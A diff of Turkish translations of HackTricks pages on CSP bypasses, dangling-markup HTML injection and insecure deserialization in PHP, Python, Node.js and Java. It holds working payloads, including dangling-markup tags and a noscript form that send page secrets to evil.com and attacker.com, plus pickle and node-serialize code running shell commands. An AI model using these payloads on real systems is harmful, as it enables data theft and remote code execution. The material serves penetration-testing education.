Bir saldırgan, bu uç noktasını **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenir**. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
|
||||
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
|
||||
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresine bakın.
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
Bunun olmasını önlemek için sunucu şu HTTP başlığını gönderebilir:
|
||||
Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
||||
@ -2,7 +2,7 @@ Aşağıdaki gibi bir yapılandırma:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
||||
```
|
||||
Herhangi bir kodu bir dize olarak ileten işlevlerin kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir.
|
||||
Herhangi bir kodu string olarak ileten fonksiyonların kullanımını yasaklar. Örneğin: `eval, setTimeout, setInterval` ayarı `unsafe-eval` nedeniyle engellenecektir.
|
||||
|
||||
Ayrıca, dış kaynaklardan gelen herhangi bir içerik de engellenir; bu, resimler, CSS, WebSockets ve özellikle JS'yi içerir.
|
||||
|
||||
@ -19,7 +19,7 @@ window.frames[0].document.head.appendChild(script)
|
||||
```
|
||||
### Hatalar Üzerinden
|
||||
|
||||
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'u atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanabilir, bu da aşağıdaki eylemlere olanak tanır:
|
||||
Benzer şekilde, metin dosyaları veya resimler gibi hata yanıtları genellikle CSP başlıkları olmadan gelir ve X-Frame-Options'ı atlayabilir. Hatalar bir iframe içinde yüklenmesi sağlanabilir, bu da aşağıdaki eylemlere olanak tanır:
|
||||
```javascript
|
||||
// Inducing an nginx error
|
||||
frame = document.createElement("iframe")
|
||||
@ -43,7 +43,7 @@ for (var i = 0; i < 5; i++) {
|
||||
document.cookie = i + "="
|
||||
}
|
||||
```
|
||||
Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içindeki JavaScript yürütmesi aşağıdaki gibi gerçekleştirilebilir:
|
||||
Belirtilen senaryolardan herhangi birini tetikledikten sonra, iframe içinde JavaScript yürütmek aşağıdaki gibi mümkündür:
|
||||
```javascript
|
||||
script = document.createElement("script")
|
||||
script.src = "//example.com/csp.js"
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özgeçmiş
|
||||
## Özeti
|
||||
|
||||
Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız** çok faydalıdır.\
|
||||
Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır.
|
||||
@ -13,9 +13,9 @@ Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri,
|
||||
|
||||
### Açık metin sırlarını çalmak
|
||||
|
||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban, enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu size gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalacaksınız (aynı şeyi çift alıntı kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
|
||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban size enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
|
||||
|
||||
Eğer `img` etiketi yasaklandıysa (örneğin CSP nedeniyle) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
|
||||
Eğer `img` etiketi yasaksa (örneğin CSP nedeniyle) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
@ -23,7 +23,7 @@ Eğer `img` etiketi yasaklandıysa (örneğin CSP nedeniyle) `<meta http-equiv="
|
||||
```
|
||||
Not edin ki **Chrome, içinde "<" veya "\n" bulunan HTTP URL'lerini** engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
|
||||
|
||||
Ayrıca CSS `@import`'ı da kötüye kullanabilirsiniz (";" bulana kadar tüm kodu gönderecektir).
|
||||
Ayrıca CSS `@import`'ı kötüye kullanabilirsiniz (";" bulana kadar tüm kodu gönderecektir).
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
@ -32,12 +32,12 @@ Ayrıca **`<table`** kullanabilirsiniz:
|
||||
```html
|
||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||
```
|
||||
Bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler alıntı kapatılana kadar gönderilecektir, ancak bazı kullanıcı etkileşimleri gerektirir (kullanıcının bir bağlantıya tıklaması gerekir, çünkü temel etiket bağlantının işaret ettiği alan adını değiştirecektir):
|
||||
Bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler alıntı kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimleri gerektirir (kullanıcının bir bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alan adını değiştirecektir):
|
||||
```html
|
||||
<base target=' <--- Injected
|
||||
steal me'<b>test</b>
|
||||
```
|
||||
### Formları Çalma
|
||||
### Formları Çalmak
|
||||
```html
|
||||
<base href="http://evil.com/" />
|
||||
```
|
||||
@ -61,7 +61,7 @@ Bu saldırının [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.
|
||||
|
||||
### Açık metin sırlarını çalmak 2
|
||||
|
||||
Yeni bahsedilen tekniği kullanarak formları çalmak (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz:
|
||||
Yeni bahsedilen tekniği kullanarak formları çalmak için (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz:
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
@ -86,11 +86,11 @@ Bir formun yolunu değiştirebilir ve beklenmedik bir eylemin gerçekleştirilme
|
||||
</form>
|
||||
</form>
|
||||
```
|
||||
### Javascript Desteklenmediğinde Düz Metin Sırlarını Çalma
|
||||
### Noscript aracılığıyla açık metin sırlarını çalmak
|
||||
|
||||
`<noscript></noscript>` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlayacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
|
||||
`<noscript></noscript>` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
|
||||
|
||||
Saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
|
||||
Bir saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -101,7 +101,7 @@ Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-cs
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Not edin ki **kurban**dan **bir bağlantıya** **tıklamasını** isteyeceksiniz, bu bağlantı onu sizin kontrolünüzdeki **payload**'a **yönlendirecektir**. Ayrıca, **`base`** etiketinin içindeki **`target`** niteliğinin bir sonraki tek tırnak işaretine kadar **HTML içeriği** içereceğini unutmayın.\
|
||||
Not edin ki **kurban**dan **bir bağlantıya** **tıklamasını** isteyeceksiniz, bu bağlantı onu sizin kontrolünüzdeki **payload**'a **yönlendirecek**. Ayrıca, **`base`** etiketinin içindeki **`target`** niteliğinin bir sonraki tek tırnak işaretine kadar **HTML içeriği** içereceğini unutmayın.\
|
||||
Bu, bağlantıya tıklanırsa **`window.name`** değerinin tüm o **HTML içeriği** olacağı anlamına gelir. Bu nedenle, kurbanın bağlantıya tıklayarak eriştiği **sayfayı** kontrol ettiğiniz için, o **`window.name`**'e erişebilir ve bu veriyi **exfiltrate** edebilirsiniz:
|
||||
```html
|
||||
<script>
|
||||
@ -144,7 +144,7 @@ else request.access_mode = AM_PRIVATE;
|
||||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||||
set_sharing({ ... })
|
||||
```
|
||||
Ya da bazı javascript'leri çalıştırmayı da deneyebilirsiniz:
|
||||
Ya da bazı javascript'leri çalıştırmayı deneyebilirsiniz:
|
||||
```html
|
||||
<script src="/search?q=a&call=alert(1)"></script>
|
||||
```
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Bu, `sandbox=' allow-scripts allow-top-navigation'` gibi bir şeyle hafifletilebilir.
|
||||
|
||||
Bir iframe, **iframe ad özniteliğini** kullanarak farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir. Bunun nedeni, kendisini iframe'leyen bir iframe oluşturabilmenizdir; bu, **hassas bilgilerin iframe ad özniteliği içinde görünmesini** sağlayan HTML enjeksiyonunu kötüye kullanır ve ardından o adı ilk iframe'den alıp sızdırabilirsiniz.
|
||||
Bir iframe, **iframe ad özniteliğini** kullanarak farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir. Bunun nedeni, kendisini iframe'leyen bir iframe oluşturabilmenizdir; bu, **hassas bilgilerin iframe ad özniteliği içinde görünmesini** sağlayan HTML enjeksiyonunu kötüye kullanır ve ardından o adı başlangıç iframe'inden alıp sızdırabilirsiniz.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -197,7 +197,7 @@ HTML'de bağlantı sızdırmanın tüm yolları Dangling Markup için faydalı o
|
||||
|
||||
## SS-Sızıntıları
|
||||
|
||||
Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**dır. Bir taraftan, zafiyet **aynı kök** sayfasına **HTML** enjekte etmeye izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırıya** uğratmayacağız, ama **başka bir sayfayı** hedef alacağız.
|
||||
Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**dır. Bir taraftan, zafiyet **aynı kök**teki bir sayfaya **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırıya** uğratmayacağız, ama **başka bir sayfayı** hedef alacağız.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
@ -205,7 +205,7 @@ ss-leaks.md
|
||||
|
||||
## XS-Arama/XS-Sızıntıları
|
||||
|
||||
XS-Arama, **yan kanal saldırılarını** istismar ederek **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini istismar eder, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Arama, **yan kanal saldırılarından** faydalanarak **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini kötüye kullanır, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
|
||||
@ -14,11 +14,11 @@ Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların
|
||||
|
||||
PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır:
|
||||
|
||||
- `__sleep`: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarının bir dizisini döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
|
||||
- `__wakeup`: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a göre daha fazla kontrol sağlar.
|
||||
- `__sleep`: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır.
|
||||
- `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
|
||||
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar.
|
||||
- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
|
||||
- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
|
||||
- `__toString`: Bu yöntem, bir nesnenin bir dize olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### Referans Değerleri Serileştirme
|
||||
|
||||
Eğer bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz:
|
||||
Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -119,7 +119,7 @@ $ser=serialize($o);
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) PHP deserialization'larını kötüye kullanmak için payload'lar oluşturmanıza yardımcı olabilir.\
|
||||
Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu **bulamayabileceğinizi** unutmayın, ancak **harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.**\
|
||||
Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
|
||||
Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internet üzerinde** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
@ -135,7 +135,7 @@ Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
|
||||
### **Pickle**
|
||||
|
||||
Nesne unpickle edildiğinde, \_\_\_reduce\_\_\_ fonksiyonu çalıştırılacaktır.\
|
||||
Kötüye kullanıldığında, sunucu bir hata dönebilir.
|
||||
Kötüye kullanıldığında, sunucu bir hata döndürebilir.
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla bitmektedir:
|
||||
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla sona ermektedir:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -169,10 +169,10 @@ python-yaml-deserialization.md
|
||||
|
||||
### JS Magic Functions
|
||||
|
||||
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar sadece bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan** bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; sadece bir nesne oluşturmak için çalıştırılacak. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan** bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype pollution'ı kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
|
||||
|
||||
Bir fonksiyonu doğrudan çağırmadan **çağırmanın** başka bir **"sihirli" yolu**, **bir async fonksiyondan** (promise) dönen bir nesneyi **tehlikeye atmak** ile mümkündür. Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde** **özelliğe** sahip başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan dönen bir nesneyi tehlikeye atarak** çağırmaktır (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -219,11 +219,11 @@ var serialize = require("node-serialize")
|
||||
var payload_serialized = serialize.serialize(y)
|
||||
console.log("Serialized: \n" + payload_serialized)
|
||||
```
|
||||
**Serileştirilmiş nesne** şöyle görünecektir:
|
||||
**serileştirilmiş nesne** şöyle görünecektir:
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Örnekte, bir fonksiyon serileştirildiğinde `_$$ND_FUNC$$_` bayrağının serileştirilmiş nesneye eklendiğini görebilirsiniz.
|
||||
Örnekte görebileceğiniz gibi, bir fonksiyon serileştirildiğinde `_$$ND_FUNC$$_` bayrağı serileştirilmiş nesneye eklenir.
|
||||
|
||||
`node-serialize/lib/serialize.js` dosyasında aynı bayrağı ve kodun bunu nasıl kullandığını bulabilirsiniz.
|
||||
|
||||
@ -234,8 +234,8 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde **kullanıcı girişi `eval` fonksiyonu içinde kullanılmaktadır**.
|
||||
|
||||
Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\
|
||||
Yine de, serileştirilmiş nesneyi **bazı parantezler ekleyerek** **değiştirerek**, nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
|
||||
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu nasıl otomatik olarak çalıştıracağını gözlemleyin:
|
||||
Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
|
||||
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -302,11 +302,11 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Daha fazla bilgi için bu kaynağı okuyun**[ **](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Daha fazla bilgi için bu kaynağı okuyun**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo kütüphanesi
|
||||
|
||||
Aşağıdaki sayfalarda bu kütüphaneyi kötüye kullanarak rastgele komutları nasıl çalıştırabileceğinize dair bilgiler bulabilirsiniz:
|
||||
Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar çalıştırma hakkında bilgi bulabilirsiniz:
|
||||
|
||||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
@ -319,7 +319,7 @@ Java'da, **deserialization geri çağırmaları deserialization süreci sırası
|
||||
|
||||
#### Beyaz Kutu
|
||||
|
||||
Kod tabanında potansiyel seri hale getirme zafiyetlerini tanımlamak için şunları arayın:
|
||||
Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için şunları arayın:
|
||||
|
||||
- `Serializable` arayüzünü uygulayan sınıflar.
|
||||
- `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı.
|
||||
@ -327,7 +327,7 @@ Kod tabanında potansiyel seri hale getirme zafiyetlerini tanımlamak için şun
|
||||
Aşağıdakilere ekstra dikkat edin:
|
||||
|
||||
- Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`.
|
||||
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü seri hale getirme sorunlarına duyarlıdır.
|
||||
- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü serileştirme sorunlarına duyarlıdır.
|
||||
- `readObject` metodu ile birlikte kullanılan `ObjectInputStream`.
|
||||
- `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması.
|
||||
- `ObjectInputStream.readUnshared`.
|
||||
@ -335,7 +335,7 @@ Aşağıdakilere ekstra dikkat edin:
|
||||
|
||||
#### Siyah Kutu
|
||||
|
||||
Siyah kutu testi için, java seri hale getirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
|
||||
Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan):
|
||||
|
||||
- Onaltılık desen: `AC ED 00 05`.
|
||||
- Base64 deseni: `rO0`.
|
||||
@ -363,7 +363,7 @@ Ayrıca, olası istismar edilebilecek gadget zincirlerini aramak için [**gadget
|
||||
|
||||
#### Kara Kutu Testi
|
||||
|
||||
Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile, zayıflığı istismar etmek için **bir yük seçmek daha kolay olabilir**.\
|
||||
Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile **bir yük seçmek** zayıflığı istismar etmek için **daha kolay** olabilir.\
|
||||
[**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır.
|
||||
|
||||
@ -371,13 +371,13 @@ Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-g
|
||||
[**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır.
|
||||
|
||||
Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için** [**Freddy**](https://github.com/nccgroup/freddy) kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
|
||||
Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için [**Freddy**](https://github.com/nccgroup/freddy)** kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
|
||||
[**Freddy hakkında daha fazla bilgi burada bulabilirsiniz.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serileştirme Testi**
|
||||
|
||||
Her şey, sunucu tarafından kullanılan herhangi bir zayıf kütüphaneyi kontrol etmekle ilgili değildir. Bazen, **serileştirilmiş nesne içindeki verileri değiştirebilir ve bazı kontrolleri atlayabilirsiniz** (belki bir web uygulaması içinde size yönetici ayrıcalıkları verebilir).\
|
||||
Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kullanabilirsiniz**. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı daha kolay hale getirecektir.
|
||||
Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)** kullanabilirsiniz. Gönderdiğiniz verileri bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı daha kolay hale getirecektir.
|
||||
|
||||
### **İstismar**
|
||||
|
||||
@ -385,7 +385,7 @@ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız
|
||||
|
||||
